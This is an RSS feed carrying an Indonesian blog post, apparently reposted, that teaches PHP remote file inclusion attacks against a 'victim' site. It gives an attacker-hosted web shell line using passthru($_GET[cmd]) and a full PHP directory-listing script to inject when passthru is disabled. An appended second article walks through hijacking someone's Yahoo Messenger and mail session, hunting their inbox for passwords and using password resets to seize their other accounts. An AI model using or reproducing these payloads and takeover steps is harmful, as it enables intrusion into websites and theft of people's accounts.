<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Komunitas Pelajar Indonesia &#187; injection</title>
	<atom:link href="http://idpelajar.com/tag/injection/feed/" rel="self" type="application/rss+xml" />
	<link>http://idpelajar.com</link>
	<description></description>
	<lastBuildDate>Mon, 22 Feb 2010 03:57:16 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Php Injection</title>
		<link>http://idpelajar.com/internet/php-injection/</link>
		<comments>http://idpelajar.com/internet/php-injection/#comments</comments>
		<pubDate>Thu, 29 Oct 2009 11:19:52 +0000</pubDate>
		<dc:creator>seen_think</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[injection]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://idpelajar.com/?p=133</guid>
		<description><![CDATA[Sudah banyak artikel2 yang membahas PHP injection. Salah satu command yang
sering dipergunakan dalam aksi &#8216;php injection&#8217; adalah &#8216;ls -al&#8217; untuk melihat
isi direktori.
Seperti misalnya:
http://www.korban.com/index.php?page=http://www.situsku.com/cmd.txt&#38;?cmd=ls -al

dimana isi dari http://www.situsku.com/cmd.txt adalah
// begin of cmd.txt
&#60;?passthru($_GET[cmd]);?&#62;
// end of cmd.txt
Namun, terkadang aksi itu gagal, tidak menghasilkan apapun atau hanya
menghasilkan error. Salah satu kemungkinan penyebab kegagalan, fungsi dari
passthru di&#8217;disable&#8217; oleh sang admin. [...]]]></description>
			<content:encoded><![CDATA[<p>Sudah banyak artikel2 yang membahas PHP injection. Salah satu command yang</p>
<p>sering dipergunakan dalam aksi &#8216;php injection&#8217; adalah &#8216;ls -al&#8217; untuk melihat</p>
<p>isi direktori.<br />
Seperti misalnya:</p>
<p>http://www.korban.com/index.php?page=http://www.situsku.com/cmd.txt&amp;?cmd=ls -al<br />
<span id="more-133"></span></p>
<p>dimana isi dari http://www.situsku.com/cmd.txt adalah</p>
<p>// begin of cmd.txt</p>
<p>&lt;?passthru($_GET[cmd]);?&gt;</p>
<p>// end of cmd.txt</p>
<p>Namun, terkadang aksi itu gagal, tidak menghasilkan apapun atau hanya</p>
<p>menghasilkan error. Salah satu kemungkinan penyebab kegagalan, fungsi dari</p>
<p>passthru di&#8217;disable&#8217; oleh sang admin. Tentunya hal ini dilakukan oleh sang</p>
<p>admin dengan alasan keamanan. Tapi kita bisa mengakalinya dengan membuat</p>
<p>script untuk melihat isi direktori.</p>
<p>Berikut script yang penulis modifikasi dari php manual:</p>
<p>// begining of list.txt</p>
<p>&lt;?php</p>
<p>function lookdir($mydirectory) {</p>
<p>$strdir = array();</p>
<p>chdir($mydirectory);</p>
<p>echo &#8220;&lt;br&gt;&lt;br&gt;Directory of $mydirectory &#8220;;</p>
<p>if($handle = opendir($mydirectory)) {</p>
<p>while (false !== ($file = readdir($handle))) {</p>
<p>$perms = fileperms($file);</p>
<p>if (($perms &amp; 0xC000) == 0xC000) {</p>
<p>// Socket</p>
<p>$info = &#8217;s&#8217;;</p>
<p>} elseif (($perms &amp; 0xA000) == 0xA000) {</p>
<p>// Symbolic Link</p>
<p>$info = &#8216;l&#8217;;</p>
<p>} elseif (($perms &amp; 0&#215;8000) == 0&#215;8000) {</p>
<p>// Regular</p>
<p>$info = &#8216;-&#8217;;</p>
<p>} elseif (($perms &amp; 0&#215;6000) == 0&#215;6000) {</p>
<p>// Block special</p>
<p>$info = &#8216;b&#8217;;</p>
<p>} elseif (($perms &amp; 0&#215;4000) == 0&#215;4000) {</p>
<p>// Directory</p>
<p>$info = &#8216;d&#8217;;</p>
<p>if ($file != &#8220;.&#8221;) {</p>
<p>if ($file != &#8220;..&#8221;) {</p>
<p>$strdir[] = $mydirectory . $file;//preg_replace(&#8216;//./&#8217;,'/&#8217;,$file);</p>
<p>}</p>
<p>}</p>
<p>//return $strdir;</p>
<p>} elseif (($perms &amp; 0&#215;2000) == 0&#215;2000) {</p>
<p>// Character special</p>
<p>$info = &#8216;c&#8217;;</p>
<p>} elseif (($perms &amp; 0&#215;1000) == 0&#215;1000) {</p>
<p>// FIFO pipe</p>
<p>$info = &#8216;p&#8217;;</p>
<p>} else {</p>
<p>// Unknown</p>
<p>$info = &#8216;u&#8217;;</p>
<p>}</p>
<p>// Owner</p>
<p>$info .= (($perms &amp; 0&#215;0100) ? &#8216;r&#8217; : &#8216;-&#8217;);</p>
<p>$info .= (($perms &amp; 0&#215;0080) ? &#8216;w&#8217; : &#8216;-&#8217;);</p>
<p>$info .= (($perms &amp; 0&#215;0040) ?</p>
<p>(($perms &amp; 0&#215;0800) ? &#8217;s&#8217; : &#8216;x&#8217; ) :</p>
<p>(($perms &amp; 0&#215;0800) ? &#8216;S&#8217; : &#8216;-&#8217;));</p>
<p>// Group</p>
<p>$info .= (($perms &amp; 0&#215;0020) ? &#8216;r&#8217; : &#8216;-&#8217;);</p>
<p>$info .= (($perms &amp; 0&#215;0010) ? &#8216;w&#8217; : &#8216;-&#8217;);</p>
<p>$info .= (($perms &amp; 0&#215;0008) ?</p>
<p>(($perms &amp; 0&#215;0400) ? &#8217;s&#8217; : &#8216;x&#8217; ) :</p>
<p>(($perms &amp; 0&#215;0400) ? &#8216;S&#8217; : &#8216;-&#8217;));</p>
<p>// World</p>
<p>$info .= (($perms &amp; 0&#215;0004) ? &#8216;r&#8217; : &#8216;-&#8217;);</p>
<p>$info .= (($perms &amp; 0&#215;0002) ? &#8216;w&#8217; : &#8216;-&#8217;);</p>
<p>$info .= (($perms &amp; 0&#215;0001) ?</p>
<p>(($perms &amp; 0&#215;0200) ? &#8216;t&#8217; : &#8216;x&#8217; ) :</p>
<p>(($perms &amp; 0&#215;0200) ? &#8216;T&#8217; : &#8216;-&#8217;));</p>
<p>$array_file_owner = posix_getpwuid(fileowner($file));</p>
<p>$array_file_group = posix_getgrgid(filegroup($file));</p>
<p>$info .= &#8221; &#8221; . $array_file_owner['name'] . &#8221; &#8220;;</p>
<p>$info .= $array_file_group['name'] . &#8221; &#8220;;</p>
<p>$info .= filesize($file) . &#8221; &#8220;;</p>
<p>$info .= date(&#8220;M d Y&#8221;,filemtime($file)) . &#8221; &#8220;;</p>
<p>$info .= $file;</p>
<p>echo &#8220;&lt;br&gt; $info&#8221;;</p>
<p>}</p>
<p>closedir($handle);</p>
<p>}</p>
<p>return $strdir;</p>
<p>} // end of function lookdir</p>
<p>$my_working_directory = getcwd();</p>
<p>lookdir($my_working_directory); // atau coba juga lookdir(&#8220;.&#8221;);</p>
<p>?&gt;</p>
<p>// end of list.txt</p>
<p>Saat kita coba inject dengan menggunakan list.txt, misalnya:</p>
<p>http://www.korban.com/index.php?page=http://www.situsku.com/list.txt</p>
<p>akan menghasilkan isi direktori berikut permissionnya.</p>
<p>Tidak rapih memang, tapi tujuan kita untuk melihat isi direktori bisa</p>
<p>tercapai. Dengan fungsi fread,frwrite kita juga bisa membaca dan</p>
<p>menulis/membuat sebuah file.</p>
<p>Silahkan dikembangkan.</p>
<p>&#8212;&#8212;&#8212;&#8212;-[ Takeover Yahoo! Account atau account lainnya ]&#8212;&#8212;&#8212;&#8212;-</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-[ Spyro Kid &lt;spyro_zone@yahoo.com&gt; ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Artikel ini akan memaparkan kepada anda tentang kecerobohan-kecerobohan</p>
<p>yang sering terjadi dikalangan para netter. Kita akan memanfaatkan beberapa</p>
<p>kebiasaan buruk yang sering kali dilakukan untuk mengambil alih account</p>
<p>mereka tanpa menggunakan tools apapun seperti exploit atau keylogger.</p>
<p>Sebagai contoh adalah penggunaan Yahoo! Messenger dengan kondisi korban</p>
<p>memberi mengaktifkan opsi Remember My ID &amp; Password atau korban lupa</p>
<p>tidak melakukan Sign Out</p>
<p>Permasalahan yang ditemukan adalah</p>
<p>- Bagaimana cara mengetahui karakter dibalik simbol bintang pada form</p>
<p>password?</p>
<p>- Bagaimana cara mendapakan account-account lain yang berhubungan dengan</p>
<p>si korban?</p>
<p>Sebagai ilustrasi, perhatikan screenshot berikut:</p>
<p>http://www.freewebtown.com/spyro_zone/ym_ready.JPG</p>
<p>Yahoo ID dan Password sudah di depan mata. Tapi passwordnya tertutup</p>
<p>karakter bintang. Menyalin passwordnya ke Text Editor tidak dapat dilakukan</p>
<p>karena Form Password tidak mengizinkan aksi tersebut. Lalu bagaimana?</p>
<p>Berikut langkah-langkah yang sebaiknya anda lakukan (atau SEBAIKNYA</p>
<p>TIDAK ANDA LAKUKAN):</p>
<p>- Sign In saja dengan ID dan Password yang telah terisi itu.</p>
<p>- Setelah berhasil klik tab Over View yang dimiliki YM lalu klik 2x</p>
<p>pada sub menu Yahoo Mail.</p>
<p>http://www.freewebtown.com/spyro_zone/oview1.bmp</p>
<p>http://www.freewebtown.com/spyro_zone/oview2.bmp</p>
<p>Akan muncul kotak Popup konfirmasi yang menanyakan apakah anda ingin</p>
<p>otomatis Login ke Yahoo Mail. Klik Yes &amp; Yes pada kotak konfirmasi kedua.</p>
<p>Nah kini Yahoo Mail Korban juga terbuka di hadapan anda dengan indahnya.</p>
<p>Jangan keburu senang dulu, jelajahi inbox korban. Cari info-info menarik.</p>
<p>Ketik keyword Account atau Password pada form search mail. Jika anda</p>
<p>beruntung, maka email yang berisi informasi Account lain sang korban akan</p>
<p>ditampilkan. Jelajahi email-email sensitif tersebut. Jika anda menemukan</p>
<p>sebuah email yang berisi Username dan Password, catat passwordnya. Biasanya</p>
<p>user malas akan memakai password yang sama untuk setiap accountnya. Dan kini</p>
<p>semua account korban sudah jadi milik anda.</p>
<p>Anda tidak menemukan email berisi Username dan Password? Jelajahi email</p>
<p>korban. Apakah dia bergabung dengan newsgroup, forum atau situs tertentu.</p>
<p>Misalnya anda menemukan bahwa korban adalah angota Friendster. Segera arahkan</p>
<p>Browser anda menuju situs Friendster lalu pilih opsi Forgot Password dan</p>
<p>isikan alamat email korban di<br />
sana. Tunggu beberapa saat dan Friendster akan</p>
<p>mengirimkan password si korban kepada anda. Dan kini, sperti yang saya katakan</p>
<p>tadi bahwa biasanya user malas akan memakai password yang sama untuk semua</p>
<p>accountnya. Maka (hehehe.. lagi-lagi saya katakan) anda telah memiliki kuasa</p>
<p>penuh atas (hampir) semua accountnya.</p>
<p>Hal seperti diatas juga dapat anda terapkan ketika si korban lupa melakukan</p>
<p>sign out. Sangat mudah bukan, dan hasilnya cukup luar biasa. Bisakah anda</p>
<p>bayangkan jika si korban memiliki account paypal? Atau mungkin si korban</p>
<p>adalah webmaster suatu situs?</p>
<p>sumber :http://codeattack.wordpress.com/2006/07/20/tips-php-injection/</p>
]]></content:encoded>
			<wfw:commentRss>http://idpelajar.com/internet/php-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
